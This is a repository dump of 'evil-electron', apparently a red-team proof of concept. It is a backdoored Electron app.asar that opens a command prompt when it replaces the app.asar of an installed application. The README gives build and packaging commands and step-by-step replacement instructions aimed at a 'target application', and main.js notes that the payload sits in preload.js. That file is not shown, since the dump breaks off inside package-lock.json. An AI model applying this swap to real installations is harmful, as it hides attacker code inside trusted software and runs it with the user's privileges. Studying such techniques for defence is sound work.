├── .gitignore
├── LICENSE
├── README.md
├── index.html
├── main.js
├── package-lock.json
├── package.json
├── preload.js
└── release
└── app.asar
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | release/app.asar.unpacked
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Parsia Hakimian
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Evil Electron a Backdoored Electron app.asar
2 | This is a fork of the Electron Quick Start application at
3 | https://github.com/electron/electron-quick-start.
4 |
5 | It spawns a command prompt. To change it, change [preload.js](preload.js).
6 |
7 | ## Usecase
8 | If you have a bundled Electron app you can replace the original `app.asar` with
9 | this app to get a command prompt.
10 |
11 | ## Quickstart
12 |
13 | 1. Make a copy of the original `/path/to/electron/app/resources/app.asar` file.
14 | 2. Copy `release/app.asar` into the path above.
15 | 3. Run the Electron app to see `cmd` pop.
16 |
17 | ## Building
18 | This repository creates an `app.asar` file and not a complete Electron app. Note
19 | we are not running `npm install` because the original Electron app already has
20 | the dependency.
21 |
22 | ```
23 | # Clone this repository
24 | git clone https://github.com/parsiya/evil-electron
25 | # Go into the repository
26 | cd evil-electron
27 | # Install asar globally if it's not already installed
28 | npm install -g asar
29 | # Package the app into app.asar (modify for non-Windows OS)
30 | asar pack . release/app.asar --unpack-dir "{**/.git,**/release,**/node_modules}" && rd "release/app.asar.unpacked" /s /q
31 | # Copy release/app.asar to the place you want.
32 | ```
33 |
34 | ## Testing
35 | To test your `app.asar` you need to install Electron.
36 |
37 | ```
38 | # Clone this repository
39 | git clone https://github.com/parsiya/evil-electron
40 | # Go into the repository
41 | cd evil-electron
42 | # Install dependencies
43 | npm install
44 | # Run the app to test it, you should see the command prompt
45 | npm start
46 | # Install asar globally if it's not already installed
47 | npm install -g asar
48 | # Package the app into app.asar (modify for non-Windows OS)
49 | asar pack . release/app.asar --unpack-dir "{**/.git,**/release,**/node_modules}" && rd "release/app.asar.unpacked" /s /q
50 | # Copy release/app.asar to `resources/app.asar` for your target application
51 | ```
52 |
53 | ## Troubleshooting
54 | See the original repository at https://github.com/electron/electron-quick-start
55 | and the [Writing Your First Electron App][first-electron] article.
56 |
57 | [first-electron]: https://www.electronjs.org/docs/tutorial/first-app
58 |
59 | ### My app.asar is Too Big
60 |
61 | 1. Did you exclude `node_modules` from the `asar pack` command?
62 | 2. Did you delete the old `app.asar` file? The asar command will append data to existing files.
63 |
64 | ### Only Works on Windows
65 | Yes. [issue #1](https://github.com/parsiya/evil-electron/issues/1) fixes some of
66 | this problem. I do not have a Mac so I have not tested that part. The Linux
67 | version just calls `gnome-terminal` which is problematic but
68 | [issue #2](https://github.com/parsiya/evil-electron/issues/2) is looking for a
69 | universal command.
70 |
71 | ### "The SUID sandbox helper binary was found, but is not configured correctly"
72 | This happens after `npm start`. Run these commands:
73 |
74 | ```
75 | sudo chown root /path/to/evil-electron/node_modules/electron/dist/chrome-sandbox
76 | sudo chmod 4755 /path/to/evil-electron/node_modules/electron/dist/chrome-sandbox
77 | ```
78 |
79 | Source: https://github.com/electron/electron/issues/17972#issuecomment-487369441
80 |
81 | ### I Cannot `asar extract` the Release File
82 | Yes, `asar` for some reason likes to reference the excluded files and keeps them
83 | in the `app.asar.unpacked` directory. We delete this directory with our
84 | `asar pack` command but `asar extract` needs this directory to extract things
85 | properly. If you know how to fix this please let me know.
86 |
87 | ### Should I Also Copy the `app.asar.unpacked` Directory?
88 | No. These are excluded files that are not needed for the application. If you run
89 | the commands above it should have been deleted.
90 |
91 | ### I Want to Package and Make a Standalone Electron Application
92 | See https://www.electronjs.org/docs/tutorial/application-distribution.
93 |
94 | ### Do I Need `nodeIntegration`?
95 | No. We are doing our spawn in `preload.js`. This file has almost complete access
96 | to the Node APIs.
97 |
98 | ## License
99 | MIT, see [LICENSE](LICENSE) for details. The original project is licensed under
100 | `CC0 1.0 (Public Domain)`. I felt like the hamburglar after changing the
101 | license.
102 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Spawn cmd!
6 |
7 |
8 | You should see a command prompt now!
9 | To change it, modify "preload.js".
10 |
11 |
12 |
--------------------------------------------------------------------------------
/main.js:
--------------------------------------------------------------------------------
1 | // Modules to control application life and create native browser window
2 | const {app, BrowserWindow} = require('electron')
3 | const path = require('path')
4 |
5 | function createWindow () {
6 | // Create the browser window.
7 | const mainWindow = new BrowserWindow({
8 | width: 800,
9 | height: 600,
10 | webPreferences: {
11 | preload: path.join(__dirname, 'preload.js')
12 | // No need for nodeIntegration here because our payload is in preload.js.
13 | }
14 | })
15 |
16 | // and load the index.html of the app.
17 | mainWindow.loadFile('index.html')
18 |
19 | // Open the DevTools.
20 | // mainWindow.webContents.openDevTools()
21 | }
22 |
23 | // This method will be called when Electron has finished
24 | // initialization and is ready to create browser windows.
25 | // Some APIs can only be used after this event occurs.
26 | app.whenReady().then(() => {
27 | createWindow()
28 |
29 | app.on('activate', function () {
30 | // On macOS it's common to re-create a window in the app when the
31 | // dock icon is clicked and there are no other windows open.
32 | if (BrowserWindow.getAllWindows().length === 0) createWindow()
33 | })
34 | })
35 |
36 | // Quit when all windows are closed, except on macOS. There, it's common
37 | // for applications and their menu bar to stay active until the user quits
38 | // explicitly with Cmd + Q.
39 | app.on('window-all-closed', function () {
40 | if (process.platform !== 'darwin') app.quit()
41 | })
42 |
--------------------------------------------------------------------------------
/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "evil-electron",
3 | "version": "1.0.0",
4 | "lockfileVersion": 1,
5 | "requires": true,
6 | "dependencies": {
7 | "@electron/get": {
8 | "version": "1.12.3",
9 | "resolved": "https://registry.npmjs.org/@electron/get/-/get-1.12.3.tgz",
10 | "integrity": "sha512-NFwSnVZQK7dhOYF1NQCt+HGqgL1aNdj0LUSx75uCqnZJqyiWCVdAMFV4b4/kC8HjUJAnsvdSEmjEt4G2qNQ9+Q==",
11 | "dev": true,
12 | "requires": {
13 | "debug": "^4.1.1",
14 | "env-paths": "^2.2.0",
15 | "filenamify": "^4.1.0",
16 | "fs-extra": "^8.1.0",
17 | "global-agent": "^2.0.2",
18 | "global-tunnel-ng": "^2.7.1",
19 | "got": "^9.6.0",
20 | "progress": "^2.0.3",
21 | "semver": "^6.2.0",
22 | "sumchecker": "^3.0.1"
23 | }
24 | },
25 | "@sindresorhus/is": {
26 | "version": "0.14.0",
27 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
28 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==",
29 | "dev": true
30 | },
31 | "@szmarczak/http-timer": {
32 | "version": "1.1.2",
33 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
34 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
35 | "dev": true,
36 | "requires": {
37 | "defer-to-connect": "^1.0.1"
38 | }
39 | },
40 | "@types/node": {
41 | "version": "12.19.15",
42 | "resolved": "https://registry.npmjs.org/@types/node/-/node-12.19.15.tgz",
43 | "integrity": "sha512-lowukE3GUI+VSYSu6VcBXl14d61Rp5hA1D+61r16qnwC0lYNSqdxcvRh0pswejorHfS+HgwBasM8jLXz0/aOsw==",
44 | "dev": true
45 | },
46 | "boolean": {
47 | "version": "3.0.2",
48 | "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.2.tgz",
49 | "integrity": "sha512-RwywHlpCRc3/Wh81MiCKun4ydaIFyW5Ea6JbL6sRCVx5q5irDw7pMXBUFYF/jArQ6YrG36q0kpovc9P/Kd3I4g==",
50 | "dev": true,
51 | "optional": true
52 | },
53 | "buffer-crc32": {
54 | "version": "0.2.13",
55 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
56 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=",
57 | "dev": true
58 | },
59 | "buffer-from": {
60 | "version": "1.1.1",
61 | "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
62 | "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==",
63 | "dev": true
64 | },
65 | "cacheable-request": {
66 | "version": "6.1.0",
67 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
68 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
69 | "dev": true,
70 | "requires": {
71 | "clone-response": "^1.0.2",
72 | "get-stream": "^5.1.0",
73 | "http-cache-semantics": "^4.0.0",
74 | "keyv": "^3.0.0",
75 | "lowercase-keys": "^2.0.0",
76 | "normalize-url": "^4.1.0",
77 | "responselike": "^1.0.2"
78 | },
79 | "dependencies": {
80 | "get-stream": {
81 | "version": "5.2.0",
82 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
83 | "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
84 | "dev": true,
85 | "requires": {
86 | "pump": "^3.0.0"
87 | }
88 | },
89 | "lowercase-keys": {
90 | "version": "2.0.0",
91 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
92 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
93 | "dev": true
94 | }
95 | }
96 | },
97 | "clone-response": {
98 | "version": "1.0.2",
99 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
100 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
101 | "dev": true,
102 | "requires": {
103 | "mimic-response": "^1.0.0"
104 | }
105 | },
106 | "concat-stream": {
107 | "version": "1.6.2",
108 | "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
109 | "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
110 | "dev": true,
111 | "requires": {
112 | "buffer-from": "^1.0.0",
113 | "inherits": "^2.0.3",
114 | "readable-stream": "^2.2.2",
115 | "typedarray": "^0.0.6"
116 | }
117 | },
118 | "config-chain": {
119 | "version": "1.1.12",
120 | "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz",
121 | "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==",
122 | "dev": true,
123 | "optional": true,
124 | "requires": {
125 | "ini": "^1.3.4",
126 | "proto-list": "~1.2.1"
127 | }
128 | },
129 | "core-js": {
130 | "version": "3.8.3",
131 | "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.8.3.tgz",
132 | "integrity": "sha512-KPYXeVZYemC2TkNEkX/01I+7yd+nX3KddKwZ1Ww7SKWdI2wQprSgLmrTddT8nw92AjEklTsPBoSdQBhbI1bQ6Q==",
133 | "dev": true,
134 | "optional": true
135 | },
136 | "core-util-is": {
137 | "version": "1.0.2",
138 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
139 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=",
140 | "dev": true
141 | },
142 | "debug": {
143 | "version": "4.3.1",
144 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
145 | "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
146 | "dev": true,
147 | "requires": {
148 | "ms": "2.1.2"
149 | }
150 | },
151 | "decompress-response": {
152 | "version": "3.3.0",
153 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
154 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
155 | "dev": true,
156 | "requires": {
157 | "mimic-response": "^1.0.0"
158 | }
159 | },
160 | "defer-to-connect": {
161 | "version": "1.1.3",
162 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
163 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==",
164 | "dev": true
165 | },
166 | "define-properties": {
167 | "version": "1.1.3",
168 | "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz",
169 | "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==",
170 | "dev": true,
171 | "optional": true,
172 | "requires": {
173 | "object-keys": "^1.0.12"
174 | }
175 | },
176 | "detect-node": {
177 | "version": "2.0.4",
178 | "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz",
179 | "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==",
180 | "dev": true,
181 | "optional": true
182 | },
183 | "duplexer3": {
184 | "version": "0.1.4",
185 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
186 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=",
187 | "dev": true
188 | },
189 | "electron": {
190 | "version": "9.4.0",
191 | "resolved": "https://registry.npmjs.org/electron/-/electron-9.4.0.tgz",
192 | "integrity": "sha512-hOC4q0jkb+UDYZRy8vrZ1IANnq+jznZnbkD62OEo06nU+hIbp2IrwDRBNuSLmQ3cwZMVir0WSIA1qEVK0PkzGA==",
193 | "dev": true,
194 | "requires": {
195 | "@electron/get": "^1.0.1",
196 | "@types/node": "^12.0.12",
197 | "extract-zip": "^1.0.3"
198 | }
199 | },
200 | "encodeurl": {
201 | "version": "1.0.2",
202 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
203 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=",
204 | "dev": true,
205 | "optional": true
206 | },
207 | "end-of-stream": {
208 | "version": "1.4.4",
209 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
210 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
211 | "dev": true,
212 | "requires": {
213 | "once": "^1.4.0"
214 | }
215 | },
216 | "env-paths": {
217 | "version": "2.2.0",
218 | "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.0.tgz",
219 | "integrity": "sha512-6u0VYSCo/OW6IoD5WCLLy9JUGARbamfSavcNXry/eu8aHVFei6CD3Sw+VGX5alea1i9pgPHW0mbu6Xj0uBh7gA==",
220 | "dev": true
221 | },
222 | "es6-error": {
223 | "version": "4.1.1",
224 | "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
225 | "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
226 | "dev": true,
227 | "optional": true
228 | },
229 | "escape-string-regexp": {
230 | "version": "1.0.5",
231 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
232 | "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
233 | "dev": true
234 | },
235 | "extract-zip": {
236 | "version": "1.7.0",
237 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.7.0.tgz",
238 | "integrity": "sha512-xoh5G1W/PB0/27lXgMQyIhP5DSY/LhoCsOyZgb+6iMmRtCwVBo55uKaMoEYrDCKQhWvqEip5ZPKAc6eFNyf/MA==",
239 | "dev": true,
240 | "requires": {
241 | "concat-stream": "^1.6.2",
242 | "debug": "^2.6.9",
243 | "mkdirp": "^0.5.4",
244 | "yauzl": "^2.10.0"
245 | },
246 | "dependencies": {
247 | "debug": {
248 | "version": "2.6.9",
249 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
250 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
251 | "dev": true,
252 | "requires": {
253 | "ms": "2.0.0"
254 | }
255 | },
256 | "ms": {
257 | "version": "2.0.0",
258 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
259 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
260 | "dev": true
261 | }
262 | }
263 | },
264 | "fd-slicer": {
265 | "version": "1.1.0",
266 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz",
267 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=",
268 | "dev": true,
269 | "requires": {
270 | "pend": "~1.2.0"
271 | }
272 | },
273 | "filename-reserved-regex": {
274 | "version": "2.0.0",
275 | "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz",
276 | "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=",
277 | "dev": true
278 | },
279 | "filenamify": {
280 | "version": "4.2.0",
281 | "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-4.2.0.tgz",
282 | "integrity": "sha512-pkgE+4p7N1n7QieOopmn3TqJaefjdWXwEkj2XLZJLKfOgcQKkn11ahvGNgTD8mLggexLiDFQxeTs14xVU22XPA==",
283 | "dev": true,
284 | "requires": {
285 | "filename-reserved-regex": "^2.0.0",
286 | "strip-outer": "^1.0.1",
287 | "trim-repeated": "^1.0.0"
288 | }
289 | },
290 | "fs-extra": {
291 | "version": "8.1.0",
292 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
293 | "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
294 | "dev": true,
295 | "requires": {
296 | "graceful-fs": "^4.2.0",
297 | "jsonfile": "^4.0.0",
298 | "universalify": "^0.1.0"
299 | }
300 | },
301 | "get-stream": {
302 | "version": "4.1.0",
303 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
304 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
305 | "dev": true,
306 | "requires": {
307 | "pump": "^3.0.0"
308 | }
309 | },
310 | "global-agent": {
311 | "version": "2.1.12",
312 | "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.1.12.tgz",
313 | "integrity": "sha512-caAljRMS/qcDo69X9BfkgrihGUgGx44Fb4QQToNQjsiWh+YlQ66uqYVAdA8Olqit+5Ng0nkz09je3ZzANMZcjg==",
314 | "dev": true,
315 | "optional": true,
316 | "requires": {
317 | "boolean": "^3.0.1",
318 | "core-js": "^3.6.5",
319 | "es6-error": "^4.1.1",
320 | "matcher": "^3.0.0",
321 | "roarr": "^2.15.3",
322 | "semver": "^7.3.2",
323 | "serialize-error": "^7.0.1"
324 | },
325 | "dependencies": {
326 | "semver": {
327 | "version": "7.3.4",
328 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz",
329 | "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==",
330 | "dev": true,
331 | "optional": true,
332 | "requires": {
333 | "lru-cache": "^6.0.0"
334 | }
335 | }
336 | }
337 | },
338 | "global-tunnel-ng": {
339 | "version": "2.7.1",
340 | "resolved": "https://registry.npmjs.org/global-tunnel-ng/-/global-tunnel-ng-2.7.1.tgz",
341 | "integrity": "sha512-4s+DyciWBV0eK148wqXxcmVAbFVPqtc3sEtUE/GTQfuU80rySLcMhUmHKSHI7/LDj8q0gDYI1lIhRRB7ieRAqg==",
342 | "dev": true,
343 | "optional": true,
344 | "requires": {
345 | "encodeurl": "^1.0.2",
346 | "lodash": "^4.17.10",
347 | "npm-conf": "^1.1.3",
348 | "tunnel": "^0.0.6"
349 | }
350 | },
351 | "globalthis": {
352 | "version": "1.0.1",
353 | "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.1.tgz",
354 | "integrity": "sha512-mJPRTc/P39NH/iNG4mXa9aIhNymaQikTrnspeCa2ZuJ+mH2QN/rXwtX3XwKrHqWgUQFbNZKtHM105aHzJalElw==",
355 | "dev": true,
356 | "optional": true,
357 | "requires": {
358 | "define-properties": "^1.1.3"
359 | }
360 | },
361 | "got": {
362 | "version": "9.6.0",
363 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
364 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
365 | "dev": true,
366 | "requires": {
367 | "@sindresorhus/is": "^0.14.0",
368 | "@szmarczak/http-timer": "^1.1.2",
369 | "cacheable-request": "^6.0.0",
370 | "decompress-response": "^3.3.0",
371 | "duplexer3": "^0.1.4",
372 | "get-stream": "^4.1.0",
373 | "lowercase-keys": "^1.0.1",
374 | "mimic-response": "^1.0.1",
375 | "p-cancelable": "^1.0.0",
376 | "to-readable-stream": "^1.0.0",
377 | "url-parse-lax": "^3.0.0"
378 | }
379 | },
380 | "graceful-fs": {
381 | "version": "4.2.4",
382 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz",
383 | "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==",
384 | "dev": true
385 | },
386 | "http-cache-semantics": {
387 | "version": "4.1.0",
388 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
389 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==",
390 | "dev": true
391 | },
392 | "inherits": {
393 | "version": "2.0.4",
394 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
395 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
396 | "dev": true
397 | },
398 | "ini": {
399 | "version": "1.3.8",
400 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
401 | "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
402 | "dev": true,
403 | "optional": true
404 | },
405 | "isarray": {
406 | "version": "1.0.0",
407 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
408 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
409 | "dev": true
410 | },
411 | "json-buffer": {
412 | "version": "3.0.0",
413 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
414 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=",
415 | "dev": true
416 | },
417 | "json-stringify-safe": {
418 | "version": "5.0.1",
419 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
420 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=",
421 | "dev": true,
422 | "optional": true
423 | },
424 | "jsonfile": {
425 | "version": "4.0.0",
426 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
427 | "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
428 | "dev": true,
429 | "requires": {
430 | "graceful-fs": "^4.1.6"
431 | }
432 | },
433 | "keyv": {
434 | "version": "3.1.0",
435 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
436 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
437 | "dev": true,
438 | "requires": {
439 | "json-buffer": "3.0.0"
440 | }
441 | },
442 | "lodash": {
443 | "version": "4.17.20",
444 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz",
445 | "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==",
446 | "dev": true,
447 | "optional": true
448 | },
449 | "lowercase-keys": {
450 | "version": "1.0.1",
451 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
452 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==",
453 | "dev": true
454 | },
455 | "lru-cache": {
456 | "version": "6.0.0",
457 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
458 | "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
459 | "dev": true,
460 | "optional": true,
461 | "requires": {
462 | "yallist": "^4.0.0"
463 | }
464 | },
465 | "matcher": {
466 | "version": "3.0.0",
467 | "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz",
468 | "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==",
469 | "dev": true,
470 | "optional": true,
471 | "requires": {
472 | "escape-string-regexp": "^4.0.0"
473 | },
474 | "dependencies": {
475 | "escape-string-regexp": {
476 | "version": "4.0.0",
477 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
478 | "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
479 | "dev": true,
480 | "optional": true
481 | }
482 | }
483 | },
484 | "mimic-response": {
485 | "version": "1.0.1",
486 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
487 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
488 | "dev": true
489 | },
490 | "minimist": {
491 | "version": "1.2.5",
492 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
493 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
494 | "dev": true
495 | },
496 | "mkdirp": {
497 | "version": "0.5.5",
498 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
